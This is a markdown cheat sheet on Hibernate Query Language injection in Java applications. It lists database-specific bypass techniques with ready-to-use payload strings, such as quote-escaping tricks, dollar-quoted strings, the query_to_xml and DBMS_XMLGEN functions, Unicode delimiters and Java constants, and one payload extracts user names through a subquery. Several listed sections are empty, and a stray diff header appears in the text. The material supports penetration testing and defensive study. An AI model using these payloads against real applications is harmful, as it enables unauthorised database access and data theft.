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HQLi in Java apps - HITBSecConf2016
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Alexandre ZANNI
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# Hibernate Query Language Injection
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> Hibernate ORM (Hibernate in short) is an object-relational mapping tool for the Java programming language. It provides a framework for mapping an object-oriented domain model to a relational database. - Wikipedia
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## Summary
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* [HQL Comments](#hql-comments)
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* [HQL List Columns](#hql-list-columns)
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* [HQL Error Based](#hql-error-based)
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* [Single Quote Escaping](#single-quote-escaping)
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* [$-quoted strings](#--quoted-strings)
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* [DBMS Magic functions](#dbms-magic-functions)
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* [Unicode](#unicode)
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* [Java constants](#java-constants)
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* [Methods by DBMS](#methods-by-dbms)
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* [References](#references)
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## HQL Comments
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@ -49,10 +56,107 @@ select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.pro
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:warning: **HQL does not support UNION queries**
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## Single Quote Escaping
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Method works for MySQL DBMS which escapes SINGLE QUOTES in strings with SLASH `\'`.
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In HQL SINGLE QUOTES is escaped in strings by doubling `''`.
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```
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'abc\''or 1=(select 1)--'
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```
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In HQL it is a string, in MySQL it is a string and additional SQL expression.
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## $-quoted strings
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Method works for DBMS which allow DOLLAR-QUOTED strings in SQL expressions: PostgreSQL, H2.
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Hibernate ORM allows identifiers starting with `$$`.
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```
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$$='$$=concat(chr(61),chr(39)) and 1=1--'
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```
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## DBMS Magic functions
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Method works for DBMS which have MAGIC FUNCTIONS which evaluate SQL expression in string parameter: PostgreSQL, Oracle.
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Hibernate allows to specify any function name in HQL expression.
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PostgreSQL has built-in function `query_to_xml('Arbitrary SQL')`.
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```
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array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1)
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```
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Oracle has built-in function `DBMS_XMLGEN.getxml('SQL')`
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```
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NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'
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```
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## Unicode
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Method works for DBMS which allow UNICODE delimiters (Ex. U+00A0) between SQL tokens: Microsoft SQL Server, H2.
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In Microsoft SQL SERVER `SELECT LEN([U+00A0](select[U+00A0](1))` works the same as `SELECT LEN((SELECT(1)))`;
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HQL allows UNICODE symbols in identifiers (function or parameter names).
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```
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SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1<LEN( (select top 1 name from users)) or '1'='11'
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```
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## Java constants
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Method works for most DBMS (does not work for MySQL).
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Hibernate resolves Java public static fields (Java constants) in HQL queries:
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- Class with Java constant must be in classpath
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- Ex. `java.lang.Character.SIZE` is resolved to 16
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- String or char constants are additionally surrounded by single quotes
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To use JAVA CONSTANTS method we need special char or string fields declared in classes or interfaces on classpath.
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```java
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public class Constants {
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public static final String S_QUOTE = "'";
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public static final String HQL_PART = "select * from Post where name = '";
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public static final char C_QUOTE_1 = '\'';
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public static final char C_QUOTE_2 = '\047';
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public static final char C_QUOTE_3 = 39;
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public static final char C_QUOTE_4 = 0x27;
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public static final char C_QUOTE_5 = 047;
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}
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```
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Some usable constants in well-known Java libraries:
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```
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org.apache.batik.util.XMLConstants.XML_CHAR_APOS [ Apache Batik ]
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com.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTE [ ICU4J ]
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jodd.util.StringPool.SINGLE_QUOTE [ Jodd ]
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ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR [ Logback ]
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cz.vutbr.web.csskit.OutputUtil.STRING_OPENING [ jStyleParser ]
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com.sun.java.help.impl.DocPConst.QUOTE [ JavaHelp ]
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org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE [ EclipseHelp ]
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```
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```
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dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1
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```
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## Methods by DBMS
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## References
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* [HQL for pentesters - February 12, 2014 - Philippe Arteau](https://blog.h3xstream.com/2014/02/hql-for-pentesters.html)
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* [How to put a comment into HQL (Hibernate Query Language)? - Thomas Bratt](https://stackoverflow.com/questions/3196975/how-to-put-a-comment-into-hql-hibernate-query-language)
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* [HQL : Hyperinsane Query Language - 04/06/2015 - Renaud Dubourguais](https://www.synacktiv.com/ressources/hql2sql_sstic_2015_en.pdf)
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* [ORM2Pwn: Exploiting injections in Hibernate ORM - Nov 26, 2015 - Mikhail Egorov](https://www.slideshare.net/0ang3el/orm2pwn-exploiting-injections-in-hibernate-orm)
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* [New Methods for Exploiting ORM Injections in Java Applications - HITBSecConf2016 - Mikhail Egorov - Sergey Soldatov](https://conference.hitb.org/hitbsecconf2016ams/materials/D2T2%20-%20Mikhail%20Egorov%20and%20Sergey%20Soldatov%20-%20New%20Methods%20for%20Exploiting%20ORM%20Injections%20in%20Java%20Applications.pdf)
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* [HQL Injection Exploitation in MySQL - July 18, 2019 - Olga Barinova](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hql-injection-exploitation-in-mysql/)
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